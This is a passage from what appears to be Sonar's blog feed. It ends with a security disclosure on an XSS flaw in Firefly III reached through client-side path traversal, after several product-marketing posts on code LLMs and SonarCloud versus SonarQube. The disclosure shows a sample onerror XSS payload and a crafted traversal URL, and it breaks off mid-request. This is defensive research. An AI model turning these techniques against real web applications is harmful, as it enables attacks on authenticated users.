option.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;GPT-J &lt;/strong&gt;(Open source): An open-source alternative that, with the right customization, can be tailored for generating clean, high-quality code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;StarCoder&lt;/strong&gt; (Open source): An open-source model trained on diverse programming languages, and ideal for tasks like code completion, synthesis, and refactoring.&lt;/p&gt;&lt;h3&gt;Ensuring the Quality and Security of AI-generated Code&lt;/h3&gt;&lt;p&gt;While LLMs can significantly speed up the software development process by generating code quickly, they also come with potential risks. The code produced by these models may contain bugs or security vulnerabilities that could compromise the reliability and safety of your software. To mitigate these risks, it&amp;#x27;s essential to conduct thorough code reviews using specialized tools like &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;. These tools are designed to automatically analyze your code for common errors, potential security flaws, and adherence to best practices. By integrating these checks into your development process, you can ensure that the code generated by the LLM is not only efficient but also secure and reliable. This approach helps you maintain high standards in your software projects, reducing the likelihood of issues that could lead to costly fixes or security breaches down the line.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Learn how &lt;a href=&quot;https://www.sonarsource.com/solutions/ai/&quot;&gt;integrating AI code generation tools with Sonar solutions&lt;/a&gt; boosts productivity and ensures high-quality software. &lt;a href=&quot;https://www.sonarsource.com/request-ai-demo/&quot;&gt;Request a demo&lt;/a&gt; to learn more.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarCloud or SonarQube, What's Right for Your Team?]]></title><description><![CDATA[Learn about the similarities and key differences between SonarCloud and SonarQube and which one is best for your use case.]]></description><link>https://www.sonarsource.com/blog/sq-sc_guidance</link><guid isPermaLink="false">44222b5b-5873-58ae-87d0-5dc5e4a55f2b</guid><dc:creator><![CDATA[Robert Curlee]]></dc:creator><pubDate>Wed, 21 Aug 2024 05:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;This blog was originally published on April 28, 2020. Since then, it has been refreshed with updated content, including newly added features as of August 2024.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud and SonarQube are both valuable tools to help you write clean, high-quality code for your projects. So, which solution is best for you and your team?&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7fd02d4d-94bc-4d88-a77e-db2d6e81a658/body-3cedacd4-0d81-4da8-986c-7978d6765e79_SC-SQ%2BBlog%2B-%2Bbranding%25402x.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The choice boils down to whether you want a self-managed solution or a cloud-based SaaS service that is managed for you. Both solutions give you essentially the same core features at each edition level, whether you&amp;#x27;re a small team or a large enterprise company. In this blog, I will walk you through the options so you can make an informed decision.&lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;The base: Static analysis for 30+ languages&lt;/h3&gt;&lt;p&gt;Both products cover the same &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/&quot;&gt;30+ languages and frameworks&lt;/a&gt;. They share the same underlying static code analysis engine to catch issues that result in bugs, vulnerabilities, and code smells and generate valuable code quality metrics. &lt;em&gt;The essential distinction: Your existing software development pipeline&lt;/em&gt;&lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;The distinction: Where is your CI/CD pipeline?&lt;/h3&gt;&lt;p&gt;One of the key differences concerns how each product is hosted and managed. SonarCloud is a fully SaaS offering where Sonar hosts and manages the software for you in the cloud. If your team is already operating in a cloud DevOps platform, where your code and workflow are fully cloud-based (e.g., GitHub.com+Travis), then SonarCloud is a good fit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud readily integrates with cloud-based DevOps platforms: GitHub.com, GitHub Enterprise Cloud, Azure DevOps Services, Bitbucket Cloud, and GitLab.com.  Sonar operates SonarCloud in AWS, which is the easiest path to start scanning your code within minutes. With SonarCloud, Sonar does all the heavy lifting for you, so you don&amp;#x27;t have to worry about installation, upgrades, or maintenance. As a SaaS offering, SonarCloud gives you immediate access to new features and functionality the moment they are released. &lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud features &lt;a href=&quot;https://docs.sonarcloud.io/advanced-setup/automatic-analysis/&quot;&gt;automatic analysis&lt;/a&gt; for over 30 languages to get you up and running fast. This autoscanning feature can be a perfect fit for teams that want actionable code quality metrics without the burden of tool configuration. For some use cases, fully setting up the analysis configuration will yield a better developer experience and &amp;#x27;unlock&amp;#x27; more SonarCloud features. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/09db4287-315b-44ba-9e16-6d3bdeba9781/SonarDevelopmentWorkflow%402x.png&quot; /&gt;&lt;p&gt;SonarQube, on the other hand, is entirely operated by you in the environment of your choice. You deploy SonarQube along with a &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/setup-and-upgrade/install-the-server/installing-the-database/&quot;&gt;supported database&lt;/a&gt; on your own servers or in a self-managed cloud environment. Once installed, SonarQube readily integrates with your self-hosted instance of &lt;a href=&quot;https://www.sonarsource.com/solutions/integrations/github/&quot;&gt;GitHub&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/solutions/integrations/gitlab/&quot;&gt;GitLab&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/solutions/integrations/azure/&quot;&gt;Azure DevOps&lt;/a&gt;, or &lt;a href=&quot;https://www.sonarsource.com/solutions/integrations/bitbucket/&quot;&gt;Bitbucket&lt;/a&gt;. If you have a hybrid environment where you store code in the cloud and rely on a locally managed CI/CD pipeline, SonarQube can also integrate with the cloud versions of all these DevOps platforms.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Going the SonarQube route means you&amp;#x27;ll be hands-on with installing, upgrading, and maintaining your environment on your terms. On average, we release a &lt;a href=&quot;https://www.sonarqube.org/whats-new/&quot;&gt;new version of SonarQube&lt;/a&gt; every two months. To stay current with new features, functionality, security updates, and bug fixes, we recommend you upgrade when a new version is released. Speaking of versions, it&amp;#x27;s important to note that SonarQube offers a Long-Term Active (LTA) version. Sonar releases a &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lta/&quot;&gt;SonarQube LTA&lt;/a&gt; version approximately every 18 months. The focus of the LTA is to package all the features of the dot releases in a stable version that we release on a cadence in line with large companies&amp;#x27; ability to schedule large upgrades. Critical bug fixes and security updates are also released to the LTA in patches as needed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For enterprise needs, Sonar recommends the SonarCloud Enterprise plan and SonarQube Enterprise Edition (EE), both offering advanced features tailored to your organization&amp;#x27;s specific use cases. This functionality falls into five main categories: authentication, governance, executive reporting, multiple repository support, and extensibility.&lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;Authentication&lt;/h3&gt;&lt;p&gt;With SonarCloud and all editions of SonarQube, you can authenticate using your existing DevOps platform credentials (GitHub, Bitbucket, Azure, and GitLab). SonarQube also allows you to authenticate using third-party tools that support SAML and LDAP protocols. SonarCloud Enterprise offers Single Sign On with SAML.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Additionally, with SonarQube Enterprise Edition, automatic provisioning of users and groups through System for Cross-domain Identity Management (&lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/instance-administration/authentication/saml/scim/overview/&quot;&gt;SCIM&lt;/a&gt;) is available for &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/instance-administration/authentication/saml/scim/scim-provisioning-with-okta/&quot;&gt;Okta&lt;/a&gt; and &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/instance-administration/authentication/saml/scim/scim-provisioning-with-azure-ad/&quot;&gt;Azure AD&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;Governance&lt;/h3&gt;&lt;p&gt;Sonar&amp;#x27;s solutions also include aggregating projects into &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/user-guide/applications/&quot;&gt;applications&lt;/a&gt; (SonarQube Developer Edition+) and &lt;a href=&quot;https://docs.sonarsource.com/sonarqube/latest/user-guide/portfolios/&quot;&gt;portfolios&lt;/a&gt; (SonarCloud Enterprise plan and SonarQube Enterprise Edition+), which are visual dashboards that allow you to organize projects in a manner that tracks your business objectives. Applications allow you to have a single view of all the projects that ship together as a complete app. Portfolios are similar and enable you to aggregate multiple apps and projects around organizational or business objectives. For example, you can create a portfolio to track all your front-end projects or all the projects for a geographical team. &lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;Executive reporting&lt;/h3&gt;&lt;p&gt;With SonarQube Enterprise Edition and SonarCloud Enterprise plan, you additionally get &lt;strong&gt;executive-level reporting capabilities&lt;/strong&gt;. These reports work hand-in-hand with your portfolios to give you insight into key metrics such as reliability, maintainability, and releasability. Additionally, there are security reports, including coverage for PCI DSS, OWASP ASVS, OWASP Top 10, CASA, STIG, and CWE Top 25.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/825c2bed-0c39-4dad-922b-d7cf1ff206ff/Screenshot%202024-08-21%20at%205.03.46%E2%80%AFPM.png&quot; /&gt;&lt;p&gt;SonarQube saw its beginnings well over a decade ago. As the product matured, we identified an &amp;#x27;Enterprise&amp;#x27; use case distinct from the &amp;#x27;core&amp;#x27; functionality use case centered on developers. It&amp;#x27;s common for large organizations to have a &amp;#x27;non-developer&amp;#x27; audience requiring measurement from a broader perspective and context. To satisfy this need for reporting and business KPIs, we added a set of &amp;#x27;governance&amp;#x27; features to SonarQube. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As our customers started adopting the cloud and asking for enterprise features, we started offering these features in the Enterprise plan that was released in the summer of 2024.&lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;DevOps platform support&lt;/h3&gt;&lt;p&gt;Sonar solutions serve organizations that require connectivity to multiple DevOps platforms. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, a single SonarQube Developer Edition instance can make a single connection each for up to four DevOps platforms (1x GitHub, 1x Bitbucket, 1x GitLab, and 1x Azure DevOps). If you need multiple configurations for a specific DevOps provider (e.g., 2x GitHub Enterprise Server and 1x GitHub.com), you&amp;#x27;ll need SonarQube Enterprise Edition.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarCloud also supports multiple DevOps platforms. With SonarCloud Enterprise, several &lt;a href=&quot;https://docs.sonarsource.com/sonarcloud/administering-sonarcloud/resources-structure/organization/&quot;&gt;organizations&lt;/a&gt; can be grouped together under an enterprise. The enterprise’s organizations may belong to different DevOps platforms. This means you can add all your organizations (no matter which DevOps platform or how many) to your enterprise.&lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;A note on extensibility&lt;/h3&gt;&lt;p&gt;Lastly, I&amp;#x27;ll touch on extensibility. The Sonar community has developed and maintained an expansive and robust library of SonarQube plugins. These plugins extend the functionality of SonarQube in more fringe areas to cover capabilities Sonar does not plan to support. Examples include additional programming language support, integration with less mainstream SCM engines, and regional language localization.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At this time, SonarCloud is not open for 3rd party plugin contributions from the community.&lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;Wrapping it all up&lt;/h3&gt;&lt;p&gt;In summary, if your team is entirely cloud-based, you don&amp;#x27;t want maintenance hassles and you&amp;#x27;d like the fastest access to new features, SonarCloud is an excellent choice. If you&amp;#x27;re OK with self-hosting and maintenance or see value in the management capabilities, then SonarQube would make sense. &lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once you&amp;#x27;ve chosen your path, I encourage you to visit our &lt;a href=&quot;https://www.sonarsource.com/open-source-editions/&quot;&gt;solution summary&lt;/a&gt; for full details on how to get started. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The goal of this article wasn&amp;#x27;t to exhaustively list all the product differences, as each environment is unique. However, you now have the information relevant to most use cases. If you have further questions, I encourage you to contact our &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;Community Forum&lt;/a&gt;. If you need assistance regarding commercial usage, you can &lt;a href=&quot;https://www.sonarsource.com/forms/contact-us.html&quot;&gt;submit&lt;/a&gt; a question to the team.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Thanks for reading, and happy, clean coding!&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Pick a topic to discover more:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/bad-code-destroys-developer-velocity/&quot;&gt;How Bad Code Destroys Developer Velocity&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/your-guide-to-clean-code-in-cloud-native-apps/&quot;&gt;Your Guide to Clean Code in Cloud Native Apps&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/level-up-coding-skills/&quot;&gt;Level Up Your Team&amp;#x27;s Skills as They Code&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sonar Founder Olivier Gaudin at QCon London 2024 ]]></title><description><![CDATA[Olivier Gaudin discusses the value of quality, secure code from the start at top industry software conference. Check out his talk!
]]></description><link>https://www.sonarsource.com/blog/sonar-founder-olivier-gaudin-at-qcon-london-2024</link><guid isPermaLink="false">163c7d58-07d9-523d-bc15-d0126d6b916e</guid><dc:creator><![CDATA[Arden Gonzales]]></dc:creator><pubDate>Thu, 15 Aug 2024 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This past spring, senior software engineers, software architects, and engineering team leaders from around the world attended QCon London to share information and adopt the right software innovations and practices.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Alongside top engineers from companies such as Microsoft, Meta, and GitLab, Olivier Gaudin, Sonar&amp;#x27;s founder took the stage to discuss Clean Code as the foundation of well-functioning development teams. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2507297d-bc39-46b1-9296-465eb096de39/QCon%20Group%20Photo.png&quot; /&gt;&lt;p&gt;(Pictured left to right: Tom Howlett, Head of Product Management; Nicolas Peru, Head of Product Delivery; and Olivier Gaudin, Sonar founder and Chairman, at QCon London 2024)&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When teams and their software work from bad code, both underperform. In his talk, Olivier explores how this can be easily remedied by taking just a few very simple steps toward a cleaner approach to code, regardless of the technology and tools in use or the seniority of the team. You can view the full presentation below, but for a quick jump into the key highlights, keep reading! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/TUc77cOs9S0?si=_6vEqqtSrZYpp41r&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;The Core of Software is Code&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The world runs on software. When you use your car, buy a concert ticket on an app, message a friend over social media, or play music from a streaming service, all of these things are enabled through software. And code is what is at the core of the capabilities that software enables. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Every digital tool, application, or system starts as code written by developers. Code is essential for building, maintaining, and improving software. That’s why when an error or bug in code is pushed to production, the consequences can be massive. This could result in features not working properly, application crashes, and even more severe problems like negative impact on customers, damage to business reputation, and expensive setbacks. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For businesses to compete in today’s software-driven market, digital innovation is essential. With code at the foundation of this, it is vital that development teams are able to work efficiently and effectively. When there are big cracks in the foundation (i.e. lines of bad, insecure, and poorly written code), technical debt, security incidents, and availability issues can arise, placing innovation on the back burner. Organizations must invest in the right tools for their development teams, and ensure the right approach to software development is in place, so that code does what it should – drive business. &lt;/p&gt;&lt;h2&gt;Good Software is Made of Clean Code &lt;/h2&gt;&lt;p&gt;Poor-quality code can have wide-ranging repercussions and be detrimental to organizations on various levels. Only when the characteristics of Clean Code are met — consistent, intentional, adaptable, and responsible — can development teams be confident that the software is quality, maintainable, reliable, and secure. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Developers should focus their coding efforts with an eye toward quality control to ensure top performance. This can be done by practicing &lt;a href=&quot;https://www.sonarsource.com/solutions/our-unique-approach/&quot;&gt;Clean as You Code (CaYC)&lt;/a&gt;, whether writing the code yourself or working with code generated by AI. When a CaYC approach is taken to software development, developers have better control over their code and can ensure overall better application performance. This also results in reduced business and reputational risk, decreases code-level tech debt, and increases developer velocity. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Pairing this approach with the right tools is critical. Many code analysis tools currently focus on identifying security issues but what are the next steps for the developer when they receive this data? Different companies have their own ways of handling problems, often leaving teams to assess code issues on a case-by-case basis. Clean Code helps developers understand the bigger picture together, supporting collective intelligence and consistent cross-team collaboration.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The ability to reduce the risk of poor software ultimately depends on the investment in building continuous Clean Code, ensuring a final product that’s reliable and doesn’t contribute to tech debt.&lt;/p&gt;&lt;h2&gt;Prevention and Remediation at the Same Time&lt;/h2&gt;&lt;p&gt;When faced with a bursting pipe, the natural response is to quickly mop up the mess. However, mopping up just the mess itself does not truly solve the root of the problem (the broken pipe). Software is made up of code, and for software to operate as intended, it must be built on Clean Code. Similarly with the broken pipe, if there’s an issue in the code, the root cause should be addressed first rather than continuously mopping up the incurring damage. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With a CaYC approach, developers take responsibility for their code and can be confident that further problems aren’t introduced when code is changed or added. As developers change software to meet new language updates and compliances, they can rest assured that they’re increasing their code quality and reducing &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;tech debt&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Front-End Frameworks: When Bypassing Built-in Sanitization Might Backfire]]></title><description><![CDATA[Modern JavaScript front-end frameworks protect your application from XSS vulnerabilities by automatically escaping untrusted content. This built-in feature can be bypassed intentionally, which should be taken with great care.]]></description><link>https://www.sonarsource.com/blog/front-end-frameworks-when-bypassing-built-in-sanitization-might-backfire</link><guid isPermaLink="false">05a89e09-9f83-5e6f-885d-66b7de9d416b</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Tue, 13 Aug 2024 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Modern JavaScript front-end frameworks like React, Angular, and Vue.js safeguard your application from Cross-Site Scripting (XSS) vulnerabilities by &lt;strong&gt;automatically escaping untrusted content&lt;/strong&gt;. While this is a suitable and safe solution for most use cases, there might be scenarios where developers want to &lt;strong&gt;directly render HTML&lt;/strong&gt; and thus need to bypass this protection.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;This is obviously dangerous, and it’s a developer&amp;#x27;s responsibility to &lt;strong&gt;ensure that the inserted content is safe&lt;/strong&gt;. For this, it is crucial to verify that a malicious user cannot control the data that is inserted as raw HTML. However, other unrelated issues in the application can quickly falsify the assumption of &lt;strong&gt;what can be controlled and what cannot&lt;/strong&gt; - leading to an XSS vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog post will showcase the dangers of bypassing a framework’s built-in sanitization by explaining how attackers could have exploited the finance application &lt;a href=&quot;https://firefly-iii.org/&quot;&gt;Firefly III&lt;/a&gt;. We will explain how a combination of &lt;strong&gt;Client-Side Path Traversal&lt;/strong&gt; and a deliberate &lt;strong&gt;Sanitization Bypass&lt;/strong&gt; could make your application vulnerable, too.&lt;/p&gt;&lt;h2&gt;Bypassing Built-in Sanitization&lt;/h2&gt;&lt;p&gt;For the sake of this blog post, we will stick to &lt;a href=&quot;https://vuejs.org/&quot;&gt;Vue.js&lt;/a&gt;, which is used by Firefly III. The same principles apply to other JavaScript front-end frameworks like React and Angular.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Vue.js uses the Mustache template syntax with double curly braces to interpolate text into an element:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;template&gt;
  &lt;div&gt;{{ userInput }}&lt;/div&gt;
&lt;/template&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The built-in sanitization ensures that even if &lt;code&gt;userInput&lt;/code&gt; contains malicious HTML like &lt;code&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/code&gt;, no alert box is triggered since the value of &lt;code&gt;userInput&lt;/code&gt; is inserted as text only. This can be verified by inspecting the syntax highlighting in the DOM tree visualizer of the browser devtools. The whole &lt;code&gt;img&lt;/code&gt; tag is colored in black:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/15536365-9314-464e-9d14-8ddb5a0ed13f/vue-text.png&quot; /&gt;&lt;p&gt;There might be a use case where a developer does not only want to dynamically insert text but raw HTML. For this purpose, the &lt;code&gt;v-html&lt;/code&gt; directive can be used to bypass the text-only limitation:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;template&gt;
  &lt;div v-html=&quot;userInput&quot;&gt;&lt;/div&gt;
&lt;/template&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If &lt;code&gt;userInput&lt;/code&gt; contains &lt;code&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/code&gt; now, it is actually inserted as raw HTML and the alert box is triggered. The syntax highlighting in the DOM tree now looks like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/dfee2621-ff61-40fb-9d32-fd9f4ff519c0/vue-html.png&quot; /&gt;&lt;p&gt;This deliberate bypass of the built-in sanitization should be used with caution and only in scenarios where it can be ensured that a user &lt;strong&gt;cannot control the value&lt;/strong&gt; that is inserted as raw HTML. This does not only apply to Vue.js, but also to other JavaScript front-end frameworks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar’s source code analysis provides &lt;a href=&quot;https://rules.sonarsource.com/javascript/&quot;&gt;more than 400 rules&lt;/a&gt; for JavaScript, including specific rules for &lt;a href=&quot;https://rules.sonarsource.com/javascript/?search=react&quot;&gt;React&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6268/&quot;&gt;Angular&lt;/a&gt;, and &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-6299/&quot;&gt;Vue.js&lt;/a&gt;. When we analyzed the popular finance application Firefly III on &lt;a href=&quot;https://sonarcloud.io/&quot;&gt;SonarCloud&lt;/a&gt;, one of these rules was triggered. This issue quickly caught our attention:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6b8e33fb-63fa-4719-97be-433be8132fed/vue-hotspot.png&quot; /&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/security_hotspots?id=SonarSourceResearch_fireflyiii-blogpost&quot;&gt;View this issue on SonarCloud&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following section, we explain why this is an unsafe bypass and describe how attackers could leverage Client-Side Path Traversal (CSPT) to control the &lt;code&gt;error_message&lt;/code&gt; value that is rendered as raw HTML.&lt;/p&gt;&lt;h2&gt;Firefly III Sanitization Bypass &amp;amp; Client-Side Path Traversal (CVE-2024-22075)&lt;/h2&gt;&lt;p&gt;When inspecting the file containing the issue raised by SonarCloud, we noticed that the &lt;code&gt;error_message&lt;/code&gt; variable is populated in the catch-block of an Axios request made to the &lt;code&gt;/api/v1/webhooks/&lt;/code&gt; endpoint. The catch-block is entered when the web server responds with a non-&lt;code&gt;2xx&lt;/code&gt; status code. In that case, &lt;code&gt;error_message&lt;/code&gt; is populated with the &lt;code&gt;message&lt;/code&gt; value of the JSON response:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;downloadWebhook: function (id) {
      axios.get(&apos;./api/v1/webhooks/&apos; + id).then(response =&gt; {
        // ... handle response ...
      }).catch(error =&gt; {
        this.error_message = error.response.data.message;
      });
    },&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;id&lt;/code&gt; variable passed to the &lt;code&gt;downloadWebhook&lt;/code&gt; function is appended to the requested API endpoint. This &lt;code&gt;id&lt;/code&gt; is taken from the browser&amp;#x27;s current URL via the &lt;code&gt;window.location.href&lt;/code&gt; attribute:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const page = window.location.href.split(&apos;/&apos;);
const webhookId = page[page.length - 1];
this.downloadWebhook(webhookId);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Thus, the request issued by the browser looks like this when the &lt;code&gt;id&lt;/code&gt; is &lt;code&gt;1,&lt;/code&gt; for example:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/fd6695dd-2b92-4197-95fb-31c312c831b3/browser_req01.png&quot; /&gt;&lt;p&gt;An attacker who would like to inject HTML code into the &lt;code&gt;error_message&lt;/code&gt; would need to make the API request return a non-&lt;code&gt;2xx&lt;/code&gt; status code and control part of the JSON &lt;code&gt;message&lt;/code&gt; value returned from the web server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the &lt;code&gt;id&lt;/code&gt; passed to the &lt;code&gt;downloadWebhook&lt;/code&gt; function is directly taken from the browser&amp;#x27;s URL and appended to the requested API endpoint without any sanitization, an attacker can craft a malicious URL with an &lt;code&gt;id&lt;/code&gt; that traverses to another API endpoint. This technique is known as &lt;a href=&quot;https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html&quot;&gt;Client-Side Path Traversal (CSPT)&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s consider the following example. Usually, the browser&amp;#x27;s URL looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;http://example.com/webhooks/edit/1&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;id&lt;/code&gt; is populated with all content of this URL after the last slash. Thus the &lt;code&gt;id&lt;/code&gt; is &lt;code&gt;1&lt;/code&gt; for this example. The corresponding API request made by the client-side JavaScript code is this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;http://example.com/api/v1/webhooks/1&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An attacker can leverage this by crafting a malicious URL like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;http://example.com/webhooks/edit/1#/..\..\..\some\other\endpoint&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;1#&lt;/code&gt; at the beginning is necessary to make the server-side endpoint handler respond with a valid page. If the attacker now tricks an authenticated victim into visiting this link, the victim&amp;#x27;s browser extracts the &lt;code&gt;id&lt;/code&gt;, which is everything after the last forward slash:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;..\..\..\some\other\endpoint&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This &lt;code&gt;id&lt;/code&gt; is appended to the requested API endpoint and the victim&amp;#x27;s browser normalizes the backslashes to forward slashes. Thus the browser performs a request to the following endpoint:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;http://example.com/some/other/endpoint&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;An attacker can leverage the &lt;code&gt;/reports/default/1/&amp;lt;start&amp;gt;/&amp;lt;end&amp;gt;&lt;/code&gt; endpoint to control parts of the returned JSON &lt;code&gt;message&lt;/code&gt; value. This endpoint tries to convert the &lt;code&gt;start&lt;/code&gt; and &lt;code&gt;end&lt;/code&gt; path parameters to &lt;code&gt;DateTime&lt;/code&gt; objects. When this conversion fails, it returns an &lt;code&gt;HTTP 500 Internal Server Error&lt;/code&gt; response, which reflects the &lt;code&gt;end&lt;/code&gt; value in the &lt;code&gt;message&lt;/code&gt; response:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Request&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;GET /reports/default/1/0/INJECT HTTP/1.1
